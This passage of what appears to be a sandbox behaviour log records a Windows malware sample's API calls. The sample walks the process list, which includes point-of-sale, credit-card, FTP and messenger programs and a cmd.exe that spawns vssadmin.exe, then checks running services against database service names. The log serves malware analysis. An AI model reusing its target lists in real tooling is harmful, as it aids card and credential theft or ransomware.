| out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0064.570] lstrlenW (lpString="smartftp.exe") returned 12 [0064.571] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0064.572] lstrlenW (lpString="thunderbird.exe") returned 15 [0064.572] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0064.574] lstrlenW (lpString="totalcmd.exe") returned 12 [0064.574] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0064.575] lstrlenW (lpString="trillian.exe") returned 12 [0064.575] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0064.577] lstrlenW (lpString="webdrive.exe") returned 12 [0064.577] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0064.578] lstrlenW (lpString="whatsapp.exe") returned 12 [0064.578] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0064.580] lstrlenW (lpString="winscp.exe") returned 10 [0064.580] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0064.581] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0064.581] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0064.811] lstrlenW (lpString="active-charge.exe") returned 17 [0064.811] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0064.815] lstrlenW (lpString="accupos.exe") returned 11 [0064.816] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0064.817] lstrlenW (lpString="afr38.exe") returned 9 [0064.817] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0064.819] lstrlenW (lpString="aldelo.exe") returned 10 [0064.819] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0064.821] lstrlenW (lpString="ccv_server.exe") returned 14 [0064.821] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0064.822] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0064.822] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0064.823] lstrlenW (lpString="creditservice.exe") returned 17 [0064.823] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0064.825] lstrlenW (lpString="edcsvr.exe") returned 10 [0064.825] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0064.826] lstrlenW (lpString="fpos.exe") returned 8 [0064.826] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0064.827] lstrlenW (lpString="isspos.exe") returned 10 [0064.827] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0064.829] lstrlenW (lpString="mxslipstream.exe") returned 16 [0064.829] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0064.830] lstrlenW (lpString="omnipos.exe") returned 11 [0064.830] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0064.831] lstrlenW (lpString="spcwin.exe") returned 10 [0064.831] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0064.833] lstrlenW (lpString="spgagentservice.exe") returned 19 [0064.833] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0064.834] lstrlenW (lpString="utg2.exe") returned 8 [0064.834] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0064.836] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0064.836] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0064.837] lstrlenW (lpString="increases.exe") returned 13 [0064.837] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.838] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0064.838] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.840] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0064.840] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0064.841] lstrlenW (lpString="driver.exe") returned 10 [0064.841] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0064.842] lstrlenW (lpString="cmd.exe") returned 7 [0064.842] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.844] lstrlenW (lpString="conhost.exe") returned 11 [0064.844] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0064.845] lstrlenW (lpString="vssadmin.exe") returned 12 [0064.845] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0064.846] lstrlenW (lpString="VSSVC.exe") returned 9 [0064.846] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.847] lstrlenW (lpString="svchost.exe") returned 11 [0064.847] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0065.865] CloseHandle (hObject=0x208) returned 1 [0065.865] Sleep (dwMilliseconds=0x1f4) [0066.595] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0728 [0066.736] EnumServicesStatusExW (in: hSCManager=0x35f0728, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0066.737] GetLastError () returned 0xea [0066.737] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x142e) returned 0x3fc5890 [0066.737] EnumServicesStatusExW (in: hSCManager=0x35f0728, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fc5890, cbBufSize=0x142e, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fc5890, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0066.738] CloseServiceHandle (hSCObject=0x35f0728) returned 1 [0066.738] lstrlenW (lpString="Appinfo") returned 7 [0066.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0066.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0066.739] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0066.739] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0066.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0066.739] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0066.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0066.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0066.739] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0066.739] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0066.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0066.739] lstrlenW (lpString="AudioSrv") returned 8 [0066.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0066.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0066.739] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0066.739] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0066.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0066.739] lstrlenW (lpString="BFE") returned 3 [0066.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0066.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0066.739] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0066.739] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0066.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0066.739] lstrlenW (lpString="CryptSvc") returned 8 [0066.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0066.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0066.740] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0066.740] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0066.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0066.740] lstrlenW (lpString="CscService") returned 10 [0066.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0066.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0066.740] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0066.740] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0066.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0066.740] lstrlenW (lpString="DcomLaunch") returned 10 [0066.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0066.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0066.740] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0066.740] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0066.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0066.740] lstrlenW (lpString="Dhcp") returned 4 [0066.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0066.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0066.740] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0066.741] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0066.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0066.741] lstrlenW (lpString="Dnscache") returned 8 [0066.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0066.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0066.741] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0066.741] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0066.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0066.741] lstrlenW (lpString="DPS") returned 3 [0066.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0066.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0066.741] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0066.741] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0066.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0066.741] lstrlenW (lpString="eventlog") returned 8 [0066.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0066.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0066.741] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0066.741] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0066.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0066.741] lstrlenW (lpString="EventSystem") returned 11 [0066.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0066.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0066.742] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0066.742] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0066.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0066.742] lstrlenW (lpString="FontCache") returned 9 [0066.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0066.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0066.742] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0066.742] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0066.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0066.742] lstrlenW (lpString="gpsvc") returned 5 [0066.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0066.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0066.742] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0066.742] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0066.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0066.742] lstrlenW (lpString="iphlpsvc") returned 8 [0066.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0066.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0066.742] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0066.742] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0066.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0066.743] lstrlenW (lpString="LanmanServer") returned 12 [0066.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0066.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0066.743] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0066.743] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0066.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0066.743] lstrlenW (lpString="LanmanWorkstation") returned 17 [0066.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0066.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0066.743] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0066.743] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0066.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0066.743] lstrlenW (lpString="lmhosts") returned 7 [0066.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0066.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0066.743] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0066.743] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0066.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0066.743] lstrlenW (lpString="MMCSS") returned 5 [0066.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0066.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0066.743] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0066.743] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0066.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0066.744] lstrlenW (lpString="MpsSvc") returned 6 [0066.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0066.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0066.744] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0066.744] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0066.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0066.744] lstrlenW (lpString="Netman") returned 6 [0066.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0066.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0066.744] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0066.744] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0066.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0066.744] lstrlenW (lpString="netprofm") returned 8 [0066.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0066.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0066.744] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0066.744] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0066.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0066.744] lstrlenW (lpString="NlaSvc") returned 6 [0066.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0066.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0066.744] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0066.745] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0066.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0066.745] lstrlenW (lpString="nsi") returned 3 [0066.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0066.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0066.745] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0066.745] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0066.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0066.745] lstrlenW (lpString="PcaSvc") returned 6 [0066.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0066.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0066.745] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0066.745] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0066.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0066.745] lstrlenW (lpString="PlugPlay") returned 8 [0066.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0066.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0066.745] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0066.745] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0066.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0066.745] lstrlenW (lpString="Power") returned 5 [0066.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0066.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0066.746] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0066.746] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0066.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0066.746] lstrlenW (lpString="ProfSvc") returned 7 [0066.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0066.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0066.746] lstrcmpiW (lpString1="sqlwriter", 